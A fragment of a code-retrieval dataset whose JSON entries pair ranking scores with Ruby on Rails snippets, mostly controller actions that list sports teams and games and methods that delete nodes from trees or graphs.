index\n @games = Game.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end", "title": "" }, { "docid": "3ae2c9dad4847f06c68f1a1ab00ea803", "score": "0.6098399", "text": "def index\n\t\t@clubs = Club.all\n\t\trender json: @clubs\n\tend", "title": "" }, { "docid": "119a8520ac57045afea64bbb24d0301d", "score": "0.6095251", "text": "def show\n @nba_team = NbaTeam.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @nba_team }\n end\n end", "title": "" }, { "docid": "4724458c0cbce443bdf0a8bd172039b5", "score": "0.6093128", "text": "def show\n render json: @games_leaderboard\n end", "title": "" }, { "docid": "b5f1eb42ab2be42c92c4b796b106a6d6", "score": "0.60859406", "text": "def unusual_sport\n fetch('sport.unusual')\n end", "title": "" }, { "docid": "8cda1961086a5d75d268df21c2288a0e", "score": "0.6070048", "text": "def index\n @nasp_rails = NaspRail.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @nasp_rails }\n end\n end", "title": "" }, { "docid": "a58ab43d3017b46d7e6efa3f735487a9", "score": "0.6067274", "text": "def index\n @games = Game.find_all_by_meeting_id(@meeting.id)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end", "title": "" }, { "docid": "9ca0785d99c6bb7f99f1f9a4f2923db9", "score": "0.60582876", "text": "def show\n @nightclub = Nightclub.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @nightclub }\n end\n end", "title": "" }, { "docid": "437c32361777ba643d2acb89a6a236d3", "score": "0.6055317", "text": "def index\n @opportunities = Opportunity.all\n\n render json: @opportunities\n end", "title": "" }, { "docid": "b9b7c96557f6065310b8ecaf3c9e4fb8", "score": "0.60545456", "text": "def index\n @teams = Team.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @teams }\n end\n end", "title": "" }, { "docid": "b9b7c96557f6065310b8ecaf3c9e4fb8", "score": "0.60545456", "text": "def index\n @teams = Team.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @teams }\n end\n end", "title": "" }, { "docid": "3a2660104b5c05d022ed30d1a79fd49d", "score": "0.60496515", "text": "def create\n @nautical_sport = NauticalSport.new(nautical_sport_params)\n\n respond_to do |format|\n if @nautical_sport.save\n format.html { redirect_to @nautical_sport, notice: 'Nautical sport was successfully created.' }\n format.json { render :show, status: :created, location: @nautical_sport }\n else\n format.html { render :new }\n format.json { render json: @nautical_sport.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fe4f163cbd52c01a75982675ded5446c", "score": "0.6048675", "text": "def index\n if @logged_in\n @teams = @season.teams #Team.all\n else\n @teams = Team.where(:active => true, :season_id => @season.id)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @teams.to_xml(:include => :players)}\n format.json { render :json => @teams.to_json(:include => :players) }\n end\n end", "title": "" }, { "docid": "1e5f1746b0b5a5edff661793784dc305", "score": "0.6047722", "text": "def index\n @teams = @competition.teams.sort_by{|t| t.number}\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @teams }\n end\n end", "title": "" }, { "docid": "8497bf0061c242238cc8f353bdc25fff", "score": "0.60395795", "text": "def index\n @games = Game.order('title')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end", "title": "" }, { "docid": "adaadcf6d0d8ffa36c086a7213e7eecf", "score": "0.60329366", "text": "def index\n find_organismos\n respond_to do |format|\n format.html # index.html.erb\n format.json {render json: @organismos }\n end\n end", "title": "" }, { "docid": "5c5f0722d6e9f2f1af7676d0a358be39", "score": "0.6032154", "text": "def index\n @players = Player.all\n render json: @players, status: 200\n end", "title": "" }, { "docid": "25ff750d139c2db6a38af76f681034a1", "score": "0.60258114", "text": "def ancient_olympics_sport\n fetch('sport.ancient_olympics')\n end", "title": "" }, { "docid": "b6eb8ff6146594702532b02bbbe2d0ce", "score": "0.60230833", "text": "def index\n @teams = Team.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @teams }\n end\n end", "title": "" }, { "docid": "b6eb8ff6146594702532b02bbbe2d0ce", "score": "0.60230833", "text": "def index\n @teams = Team.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @teams }\n end\n end", "title": "" }, { "docid": "7bf278041bd23f7564ff918e871cb1cc", "score": "0.6019446", "text": "def index\n @sightings = Sighting.all\n render json: @sightings\n end", "title": "" }, { "docid": "ad33b1d5a795f61dfd82b6b33c0b46bb", "score": "0.6013363", "text": "def index\n @nepals = Nepal.all\n\n render json: @nepals\n end", "title": "" }, { "docid": "8c556fd2de6cf81adea1e4529910264f", "score": "0.60064507", "text": "def index\n @networkings = Networking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @networkings }\n end\n end", "title": "" }, { "docid": "fe0febfc003dd5b4e73d9548a91b35f6", "score": "0.60061204", "text": "def show\n @id = @my_team.team_id\n @team_name = Teams.find(@id)\n roster = RestClient.get(\"https://statsapi.web.nhl.com/api/v1/teams/#{@id}/roster\")\n @roster = JSON.parse(roster)[\"roster\"]\n end", "title": "" }, { "docid": "6cfb895c241ba707160b65abdcbe6f05", "score": "0.60010666", "text": "def index\n @clubs = Club.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clubs }\n end\n end", "title": "" }, { "docid": "68564fc65985d8cfe3e2eb70e6515689", "score": "0.6000621", "text": "def index\n @military_battle_rounds = Military::BattleRound.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @military_battle_rounds }\n end\n end", "title": "" }, { "docid": "14e6607e5ec5c7b4a3776c46438b5437", "score": "0.5999762", "text": "def index\n @guardianships = Guardianship.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @guardianships }\n end\n end", "title": "" }, { "docid": "9f6c1daa7fc43917d0af1a8332f69ddf", "score": "0.59985524", "text": "def current_user_sports_graphic\n sports = current_user.sports\n .group_by_day(:date, range: (1.weeks.ago..Date.today))\n .sum(:burned_calories)\n # Return JSON from array\n render_json(add_and_return_array(sports))\n end", "title": "" }, { "docid": "85e58995a0b8068ed5ed0bf0552d20ab", "score": "0.5995915", "text": "def index\n @teams = Team.all.order(:name)\n if params[:all]\n json_response(TeamSerializer, @teams)\n else\n @teams_paginated = @teams.page(current_page, per_page).per(per_page)\n json_response(TeamSerializer, @teams_paginated, options(@teams))\n end\n end", "title": "" }, { "docid": "f470a4baad64b880a03f8e74e91667c5", "score": "0.59928447", "text": "def render_sports_teams\n render json: SportsTeamsSerializer.new(@sports_data).to_serialized_json\n end", "title": "" }, { "docid": "78953dfb0d36c37f9b95907c059f6c05", "score": "0.5992671", "text": "def stod2sport\n Apis.client.get('/tv/stod2sport')\n end", "title": "" }, { "docid": "b82e107ffa3db6a7d41d44ce8e714255", "score": "0.5992143", "text": "def index\n @sport_links = SportLink.all\n end", "title": "" }, { "docid": "d50adbdf6bc9e05e07530995644e557a", "score": "0.5989122", "text": "def index\n player = Player.all\n render json: players, status: 200\n end", "title": "" }, { "docid": "b6db2a2afa1708b77ac332044653339e", "score": "0.59890133", "text": "def index\n @current_user = current_user\n if @current_user.nil? || !@current_user.is_admin\n redirect_to root_url\n return\n end\n\n # TODO show dates in user's time zone\n @nfl_games = NflSchedule.includes(:home_nfl_team)\n .includes(:away_nfl_team)\n .order(:week)\n .order(:start_time)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @nfl_games }\n end\n end", "title": "" }, { "docid": "2f1b3ff174224113ebe2159af3601f32", "score": "0.5987697", "text": "def index\n @games = Game.paginate page: params[:page], order: 'created_at desc', per_page: 10\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end", "title": "" }, { "docid": "e3ae9220b9f749872ab1440a20ae650a", "score": "0.59790176", "text": "def get_affiliation\n render( json: TeamAffiliation.find_by(season_id: params[:season_id], team_id: params[:id]) )\n end", "title": "" }, { "docid": "042b0718c41d14a0782546e968c7632c", "score": "0.59642524", "text": "def index\n @video_games = VideoGame.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @video_games }\n end\n end", "title": "" }, { "docid": "6379638e957514df29efd4372e4a43b8", "score": "0.5962316", "text": "def index\n @competitions = Competition.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @competitions }\n end\n end", "title": "" }, { "docid": "29c7902f1ef657efc05906dffffbb4b7", "score": "0.59566194", "text": "def index\n @situations = Situation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @situations }\n end\n end", "title": "" }, { "docid": "5db7d1aba3de133ae569863246070624", "score": "0.5947277", "text": "def index\n @players = Player.all\n render json: @players\n end", "title": "" }, { "docid": "4079933a25e56707335170481f08eed4", "score": "0.59464884", "text": "def index\n @competencies = Competency.all\n respond_to do |format|\n format.json { render json: @competencies }\n end\n end", "title": "" }, { "docid": "a37bb27263ab260818e709751bbd46d7", "score": "0.5942248", "text": "def index\n streaks = Streak.active.all\n render_jsonapi(streaks)\n end", "title": "" }, { "docid": "026398c611e1ab57eacce9d47c066a05", "score": "0.59347296", "text": "def index\n @games = @season.games #Game.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @games }\n end\n end", "title": "" }, { "docid": "78061ca0e92ee0d34f44e4905acc6072", "score": "0.5929361", "text": "def index\n @moves = @game.moves.all\n render json: @moves, status: 200\n end", "title": "" }, { "docid": "c63ee8f3983ef32481901bbb75d2e5a5", "score": "0.5923302", "text": "def index\n @sports = Sport.all.sort_by{|x| [x.season.start, x.start_date, x.name, x.group]}\n end", "title": "" }, { "docid": "0ef79a2fba5af1ecbba5b9008e1c2f59", "score": "0.5920469", "text": "def index\n @socioeconomic_studies = SocioeconomicStudy.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @socioeconomic_studies }\n end\n end", "title": "" }, { "docid": "1206aa0088332b4e7e679680bd5dfeac", "score": "0.5920281", "text": "def show\n @game_tournament = GameTournament.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game_tournament }\n end\n end", "title": "" }, { "docid": "a98a40049b92f7d2ac290102890cd282", "score": "0.5917117", "text": "def index\n @innings = Inning.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @innings }\n end\n end", "title": "" }, { "docid": "04f3efe668cf8c769303e8cd5129c80a", "score": "0.5906519", "text": "def winter_paralympics_sport\n fetch('sport.winter_paralympics')\n end", "title": "" }, { "docid": "3e7c945bdbe12128af3c225d1e24c951", "score": "0.5903453", "text": "def find_sport_for_date\n render json: Sport.where(user_id: current_user.id,\n date: Date.parse(params[:date]))\n .to_json(include: [:populair_sport])\n end", "title": "" }, { "docid": "e779ef9a2c033109dfb54a7612a3674c", "score": "0.5901082", "text": "def teams\n render json: @team_query\n end", "title": "" }, { "docid": "aea95e8658387de8cbec27b70a36120f", "score": "0.58998525", "text": "def index\n championship = Championship.find_by_desc($current_championship)\n unless championship == nil?\n @rounds = Round.get_all_rounds_by_championship_id(championship.id, params[:page])\n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @rounds }\n end\n end", "title": "" }, { "docid": "506c01abeccce0bbd31a61b66cd75ddb", "score": "0.589038", "text": "def index\n @sport_odds = SportOdd.search_and_paginate(params)\n end", "title": "" }, { "docid": "02a2a412fa6eee85f754fc07b10e7a9b", "score": "0.5883857", "text": "def index\n render json: TeachingActivity.all\n end", "title": "" }, { "docid": "46997487586c8e494d2aa832191374c8", "score": "0.588128", "text": "def index\n @episodes = Episode.all\n\n render json: @episodes\n end", "title": "" }, { "docid": "229565ffbf3551dae8055fb8f21faafc", "score": "0.58807987", "text": "def get_games(year, input)\r\n page = 1\r\n query = 'https://www.balldontlie.io/api/v1/games' + '?seasons[]=' + year.to_s + '&team_ids[]=' + input.to_s + '&page=' + page.to_s\r\n response_meta = HTTParty.get(query)[\"meta\"]\r\n response_data = HTTParty.get(query)[\"data\"]\r\n total_pages = response_meta[\"total_pages\"]\r\n games_hash = {}\r\n\r\n while page <= total_pages\r\n\r\n #Go back and maximize the per_page limit to minimize the number of calls\r\n query = 'https://www.balldontlie.io/api/v1/games' + '?seasons[]=' + year.to_s + '&team_ids[]=' + input.to_s + '&page=' + page.to_s + '&per_page=50'\r\n HTTParty.get(query)[\"data\"].each do |i|\r\n\r\n\r\n #change formatting of date\r\n date = i[\"date\"].split(\"-\")\r\n day_value = date[2].split(/T/).shift\r\n key_date = \"#{date[0]}/#{date[1]}/#{day_value}\"\r\n formatted_date = \"#{date[1]}/#{day_value}/#{date[0]}\"\r\n\r\n \r\n\r\n games_hash[key_date] = {\r\n \"date\" => formatted_date,\r\n \"home_team\" => i[\"home_team\"][\"full_name\"],\r\n \"visitor_team\" => i[\"visitor_team\"][\"full_name\"],\r\n \"home_team_score\" => i[\"home_team_score\"],\r\n \"visitor_team_score\" => i[\"visitor_team_score\"]\r\n }\r\n \r\n\r\n end\r\n page += 1 \r\n end\r\n games_hash\r\n end", "title": "" }, { "docid": "5bf046ca41b4d883055106db4de2deed", "score": "0.5869909", "text": "def list\n @studios = Studio.all;\n return render json: @studios.to_json, status: 200\n end", "title": "" }, { "docid": "de7ba21be66db0ef745dd12b88ba2a97", "score": "0.58591664", "text": "def index\n @sport_categories = SportCategory.all\n end", "title": "" }, { "docid": "506157b2231a3339f8c1490bf594ba87", "score": "0.5855965", "text": "def index\n @club = Club.find_by_slug(params[:club_id])\n @teams = @club.teams\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @teams }\n end\n end", "title": "" }, { "docid": "3826d0b3c190fd68a5414b0539d7d453", "score": "0.58551574", "text": "def index\n champions = Champion.all\n render json: champions\n end", "title": "" }, { "docid": "4b862462beb1d6d10506f73daf71f18c", "score": "0.5851409", "text": "def index\n sighting = Sighting.all \n render json: SightingSerializer.new(sighting)\n end", "title": "" }, { "docid": "e444bb126df1caa7bb7658c13397f56f", "score": "0.58454007", "text": "def show\n @socio = Socio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @socio }\n end\n end", "title": "" }, { "docid": "7ba62d65d5efb47a8f4b0d92d4bffc95", "score": "0.58450717", "text": "def show\n render json: @onboarding\n end", "title": "" }, { "docid": "9333030ae428be8b01490cfd821f494e", "score": "0.5843325", "text": "def index\n @games = current_user.games_ended.paginate(page: current_page, per_page: GAMES_PER_PAGE)\n games_count = current_user.games_ended.count\n\n render json: { games_count: games_count,\n current_page: current_page,\n total_pages: total_pages(games_count),\n games: @games\n }, status: 200\n end", "title": "" }, { "docid": "5dceb87b5c8346d12eb6b77cdfc20748", "score": "0.584174", "text": "def search\n games_data = BoardGameAtlas::API.search(params[:name])\n render json: { games: games_data.map }\n end", "title": "" }, { "docid": "7c291eb191d1f6e95cc4c563bc192092", "score": "0.58355397", "text": "def show\n @sportsfield = Sportsfield.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sportsfield }\n end\n end", "title": "" } ]
e6bbdaf0d637acb300fca9bdb4429054
Forcefully destroys given node
[ { "docid": "53ced2e60b0a820d852fbb2c80795b75", "score": "0.72385645", "text": "def destroy_node(node, logger)\n logger.info(\"Destroying '#{node}' node.\")\n DestroyCommand.execute([\"#{@config.path}/#{node}\"], @env, logger, { keep_template: true })\n end", "title": "" } ]
[ { "docid": "ac22ec307e89be488bd4d50de655da4b", "score": "0.74447054", "text": "def destroy\n @node.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "6ce311d98b025e0387f6321b02f4d8c2", "score": "0.7184464", "text": "def remove_node( node )\n\t\t@nodes.delete( node.object_id )\n\tend", "title": "" }, { "docid": "2c37fa327a4f0811ec06df2c2e9f239d", "score": "0.7155922", "text": "def destroy_node(model_metadata)\n #att_doc = node.my_GlueEnv.attachClass.get(node.attachment_doc_id) if node.respond_to?(:attachment_doc_id)\n attachClass = @moab_data[:attachClass]\n att_doc_id = attachClass.uniq_att_doc_id(model_metadata[@persist_layer_key])\n att_doc = attachClass.get(att_doc_id) if att_doc_id\n #raise \"Destroying Attachment #{att_doc.inspect} derived from #{@model_metadata.inspect} \"\n att_doc.destroy if att_doc\n db_destroy(model_metadata)\n end", "title": "" }, { "docid": "67fcdcfdac8ff87ea5e4677bb276a8c5", "score": "0.70628", "text": "def delete node\n end", "title": "" }, { "docid": "caa94a90e1fcfd8b99341c346e79be5c", "score": "0.70303607", "text": "def node\n delete_node[:node]\n end", "title": "" }, { "docid": "63e800e1f2dc4ee7a24e6d20193eb33b", "score": "0.7009059", "text": "def destroy\n @node = active_pile.nodes.find(params[:id])\n @node.destroy\n \n expire_cache_for(@node)\n \n render :nothing => true, :status => :accepted\n end", "title": "" }, { "docid": "4ee1b437c64a805c561158351fc10a5e", "score": "0.70045465", "text": "def destroy(node)\n self.rels_to(node).map!(&:destroy)\n clear_source_object_cache\n end", "title": "" }, { "docid": "9ed8965049534bdc59946bd05df433d7", "score": "0.6977046", "text": "def destroy_chef_node(objectClass,name,type)\n object = objectClass.load(name)\n object.destroy\n puts \"Deleted #{type} #{name}\"\n end", "title": "" }, { "docid": "58b7998430351f8edb6a68bcad95b8e7", "score": "0.69413316", "text": "def remove!(node); end", "title": "" }, { "docid": "58b7998430351f8edb6a68bcad95b8e7", "score": "0.69413316", "text": "def remove!(node); end", "title": "" }, { "docid": "71185146bc38347cb0c51806cf30e08f", "score": "0.692697", "text": "def remove_node(node) \n\n end", "title": "" }, { "docid": "818c27c4dcf2a54fa8699a0c320de7dd", "score": "0.6852213", "text": "def remove_node\n # Interface method\n end", "title": "" }, { "docid": "fe37be9b54d6aa2887b1e0534a9dc5d8", "score": "0.68377846", "text": "def remove(node); end", "title": "" }, { "docid": "fe37be9b54d6aa2887b1e0534a9dc5d8", "score": "0.68377846", "text": "def remove(node); end", "title": "" }, { "docid": "fe37be9b54d6aa2887b1e0534a9dc5d8", "score": "0.68377846", "text": "def remove(node); end", "title": "" }, { "docid": "d502f7896c9e05fd6abda058d3fae163", "score": "0.6828381", "text": "def clean_cached_node(node)\n Puppet::Node.indirection.destroy(node)\n Puppet.info \"#{node}'s cached node removed\"\n end", "title": "" }, { "docid": "d4b015301075cd510db8d2ff7819b529", "score": "0.68209845", "text": "def on_node_destroy\n self.domain.destroy if self.domain\n choices.each(&:destroy)\n feature_values.each(&:destroy)\n end", "title": "" }, { "docid": "e76611e4706c29daccea73c58e650d59", "score": "0.68071526", "text": "def delete(node)\n end", "title": "" }, { "docid": "f75e379a597cba624a2925f902c44206", "score": "0.67299867", "text": "def clean_cached_node(node)\n Puppet::Node.indirection.destroy(node)\n Puppet.info _(\"%{node}'s cached node removed\") % { node: node }\n end", "title": "" }, { "docid": "37f650ca6a0fb2f1434c53a244380519", "score": "0.6704021", "text": "def destroy\n authorize @node\n @node.create_activity :destroy, owner: current_user\n @node.destroy\n respond_to do |format|\n format.html { redirect_to nodes_url, notice: 'Node was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d0e1e674fb8b6fa4da597a9a85a1da9f", "score": "0.6686221", "text": "def remove_node(node)\n remove_node_tag(node)\n @db.execute('DELETE FROM node where id = ?', node)\n end", "title": "" }, { "docid": "c7c476c56baec72987c6828b7c5d9dc2", "score": "0.6666373", "text": "def remove_given_node()\nend", "title": "" }, { "docid": "75dcd5ead6277f81f2c3840d7e4c1a44", "score": "0.6656964", "text": "def delete(node)\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "54f83b9513c3090e09ff52ada52718e3", "score": "0.6648659", "text": "def destroy_ordered_tree_node(&block)\n Transaction::Factory.create(ordered_tree_node, true).start(&block)\n end", "title": "" }, { "docid": "f9029b5065b64264bc3d8371fdd3ed85", "score": "0.6631064", "text": "def destroy(options = { :destroy_content_node => true })\n if options[:destroy_content_node] && content\n begin\n destroyed_content = content.destroy # Content will on its turn call node.destroy again.\n rescue NoMethodError => e\n # ContentCopy and InternalLink nodes are destroyed when their associated copied/linked node is destroyed.\n # This will cause problems when an ancestor of these nodes is destroyed, resulting in a double\n # destruction of the ContentCopy or InternalLink node. This nasty hack here prevents that.\n case self.content_class\n when ContentCopy\n raise e if ContentCopy.exists?(self.id)\n when InternalLink\n raise e if InternalLink.exists?(self.id)\n else\n raise e # Re-raise e as it's an unrelated error\n end\n end\n destroyed_content.nil? ? nil : self\n else\n # Disable ferret updates (ferret_destroy is executed anyway)\n without_search_reindex do\n self.original_destroy\n end\n end\n end", "title": "" }, { "docid": "e564bab2f93d7f3e179117bab263e8db", "score": "0.66092104", "text": "def delete_node_address\n super\n end", "title": "" }, { "docid": "31bced11c5438baa859e5309b34503a7", "score": "0.6602002", "text": "def destroy\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to(structure_nodes_url(@node.structure)) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "8cdd97f3a7b9fccaccbf7cde54cf5335", "score": "0.65880704", "text": "def destroy\n if @node\n @node.destroy\n respond_to do |format|\n format.html { redirect_to(nodes_path) }\n format.xml { head :ok }\n end\n else\n render :file => \"#{RAILS_ROOT}/public/404.html\", :layout => false, :status => 404\n end\n end", "title": "" }, { "docid": "6a18d58cbd8a229905d4cf2a80194752", "score": "0.65827054", "text": "def delete(node)\n @nodes.delete(node)\n end", "title": "" }, { "docid": "458cb8d59fa0d28e14827f2c88f50993", "score": "0.657513", "text": "def removed(node); end", "title": "" }, { "docid": "458cb8d59fa0d28e14827f2c88f50993", "score": "0.657513", "text": "def removed(node); end", "title": "" }, { "docid": "7433cc15dff795a2de4ab8befff1004d", "score": "0.6552489", "text": "def delete(node)\n Hari.redis.zrem key, node.model_id\n end", "title": "" }, { "docid": "cb42d8e803ff2c3c3cb1539b98e1d739", "score": "0.65515405", "text": "def remove_node(node_to_delete)\n tap do\n @nodes.delete_if { |node|\n node.object_id == node_to_delete.object_id\n }\n end\n end", "title": "" }, { "docid": "61f7315106d6c6f2d87d151174882f5e", "score": "0.6535544", "text": "def destroy\n\t\t@node = node_find\n\t\t@node.destroy\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to units_url, notice: 'Unit was successfully destroyed.' }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend", "title": "" }, { "docid": "7a14e042a771ed845963082eb875dff5", "score": "0.65101653", "text": "def delete_node(node)\n Rails.logger.debug(\"jig.delete_node(#{node.name}) not implemented for #{self.class}. This may be OK\")\n end", "title": "" }, { "docid": "7a14e042a771ed845963082eb875dff5", "score": "0.65101653", "text": "def delete_node(node)\n Rails.logger.debug(\"jig.delete_node(#{node.name}) not implemented for #{self.class}. This may be OK\")\n end", "title": "" }, { "docid": "7a14e042a771ed845963082eb875dff5", "score": "0.65101653", "text": "def delete_node(node)\n Rails.logger.debug(\"jig.delete_node(#{node.name}) not implemented for #{self.class}. This may be OK\")\n end", "title": "" }, { "docid": "db31ad66234e2946dd04474a9ecf15cc", "score": "0.6502227", "text": "def destroy\n `#{parent.element}.removeChild(#{element})`\n parent.remove_child(@sym)\n end", "title": "" }, { "docid": "2386c78587fab1d2572fd344b2e41a92", "score": "0.6490398", "text": "def remove!\n @node.remove\n @gpx.clear_cache!\n @removed = true\n end", "title": "" }, { "docid": "1081dcbd9a7792eafe6ec6e795ed4cdf", "score": "0.64826465", "text": "def delete_child(child); end", "title": "" }, { "docid": "dce0c2541046a04144c9ae64c68ee194", "score": "0.64765143", "text": "def remove_node(path)\n node = @root.child_at_path(path)\n node.destroy if node.present?\n end", "title": "" }, { "docid": "d98bbd29d4a2726f37922f6ea3a74ed8", "score": "0.6473785", "text": "def destroy\n @node = Node.find_by_name(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "30ddaad9c5246a8d9fc05bb8df061e90", "score": "0.64638996", "text": "def remove!\n @node.remove\n @tcx.clear_cache!\n @removed = true\n end", "title": "" }, { "docid": "9c060b06cef0885552183a947ac5e4df", "score": "0.6463046", "text": "def ensure_deletion_fixes\n self_node = self.entity_node\n privacy_node = self.privacy_node(self_node[:privacy_node_id])\n activities_node = self.activities_node(self_node[:activities_node_id])\n activities_list_node = self.activities_list_node(self_node[:activities_list_node_id])\n\n $neo.remove_node_from_index(\"entities_nodes_index\", self_node)\n self_node.del\n privacy_node.del\n activities_node.del\n activities_list_node.del\n end", "title": "" }, { "docid": "370c62f6fa3154e3a3b3f7a73f94aded", "score": "0.6462881", "text": "def remove_node(node)\n next_node = node.next_node\n node.data = next_node.data\n node.next_node = next_node.next_node\nend", "title": "" }, { "docid": "e444c939d5b18e418213c2f9c9dfbb8f", "score": "0.6452761", "text": "def destroy\n @node.destroy\n respond_to do |format|\n format.html { redirect_to networks_url, notice: 'Node was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "595ddc76b903107a59c9a116b687a80a", "score": "0.64523137", "text": "def destroy\n node = Node.find_by_namespace!(params[:namespace])\n node.destroy!\n render nothing: true, status: 204\n end", "title": "" }, { "docid": "595ddc76b903107a59c9a116b687a80a", "score": "0.64523137", "text": "def destroy\n node = Node.find_by_namespace!(params[:namespace])\n node.destroy!\n render nothing: true, status: 204\n end", "title": "" }, { "docid": "eae245a9230bcea90db6e1ec25f546f3", "score": "0.6449417", "text": "def destroy\n @node = current_user.nodes.find(params[:id])\n Thread.new do\n\t@node.remove_ufile! # TODO: Obtain queue\n end\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to nodes_url }\n format.js { render text: \"$('#node_#{@node.id}').remove();\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "78547918ea40a65a1b2141d19945df2f", "score": "0.6435781", "text": "def destroy\n @knode = Knode.find(params[:id])\n @knode.destroy\n end", "title": "" }, { "docid": "7d54da7947e6176077b8fb689bbe0cb9", "score": "0.6414749", "text": "def remove_node(node)\n has_node = HAS_NODE_ROLE.find_by_node_id_and_role_instance_id node.id, self.id\n HAS_NODE_ROLE.delete has_node\n end", "title": "" }, { "docid": "b5232fbd8ca5326dc79157387a72180f", "score": "0.64115745", "text": "def destroy\n @node.destroy\n respond_to do |format|\n format.html { redirect_to nodes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "aa36265459ecba4570ebb71dad04f439", "score": "0.64081043", "text": "def destroy_self_and_children!\n children.each do |node|\n node.destroy\n end\n destroy\n end", "title": "" }, { "docid": "f7a465eb119b24640618a6e22857b8b9", "score": "0.64077824", "text": "def delete_node(n)\n @block_file.free(n.name)\n remove_from(n,true,true);\n @mod_nodes.delete(n.name)\n end", "title": "" }, { "docid": "ad039e930615997aed5a463ecbbdc9f1", "score": "0.6401132", "text": "def delete\n unless !@node_id || @node_id == 0\n $neo.delete_node( @node_id )\n end\n end", "title": "" }, { "docid": "a6ca5ce3e7e4ee496b126c230e6654d9", "score": "0.6400607", "text": "def delete\n @client.delete_node(@node)\n end", "title": "" }, { "docid": "699ade7cc4b3e2dbe808875f1a4f5b03", "score": "0.6394852", "text": "def destroy\n @node.destroy\n respond_to do |format|\n format.html { redirect_to nodes_url, notice: 'Node was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "699ade7cc4b3e2dbe808875f1a4f5b03", "score": "0.6394852", "text": "def destroy\n @node.destroy\n respond_to do |format|\n format.html { redirect_to nodes_url, notice: 'Node was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "699ade7cc4b3e2dbe808875f1a4f5b03", "score": "0.6394852", "text": "def destroy\n @node.destroy\n respond_to do |format|\n format.html { redirect_to nodes_url, notice: 'Node was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "699ade7cc4b3e2dbe808875f1a4f5b03", "score": "0.6394852", "text": "def destroy\n @node.destroy\n respond_to do |format|\n format.html { redirect_to nodes_url, notice: 'Node was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "699ade7cc4b3e2dbe808875f1a4f5b03", "score": "0.6394852", "text": "def destroy\n @node.destroy\n respond_to do |format|\n format.html { redirect_to nodes_url, notice: 'Node was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1cca9c8fdd838e6a0d9fed4d8177c3c1", "score": "0.638845", "text": "def delete_node(node)\n\n node.val = node.next.val\n node.next = node.next.next\n nil\nend", "title": "" }, { "docid": "86cb73380f029eb6b22456eabc4d76f2", "score": "0.63851184", "text": "def delete_node(address)\n @node_cache.delete(address)\n @nodes.delete_blob(address)\n end", "title": "" }, { "docid": "1600899f6793b0438225c2baed9ba504", "score": "0.6382641", "text": "def destroy\n rmfs\n @property_hash[:ensure] = :absent\n @property_hash[:uuid] = nil\n resource\n end", "title": "" }, { "docid": "da886e350d43cc45b3cf0508fc4cd2dd", "score": "0.63771665", "text": "def remove_node(node)\n @nodeIndex.delete(node.name)\n @nodes.delete(node)\n $debug_society_model && SocietyMonitor.each_monitor { |m| m.node_removed(node) }\n end", "title": "" }, { "docid": "493db218544d8ae4002765103fcdc08e", "score": "0.6375657", "text": "def delete(node)\n removed = @nodes.delete(node)\n\n remove_ownership(removed) if removed\n\n return removed\n end", "title": "" }, { "docid": "3d21c0f397279acb1362053e2a4c9422", "score": "0.6360515", "text": "def delete_node(node)\n node.val = node.next.val\n node.next = node.next.next\nend", "title": "" }, { "docid": "e0910e588a3df464be7e0f783090a4f6", "score": "0.6357225", "text": "def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to nodes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e0910e588a3df464be7e0f783090a4f6", "score": "0.6357225", "text": "def destroy\n @node = 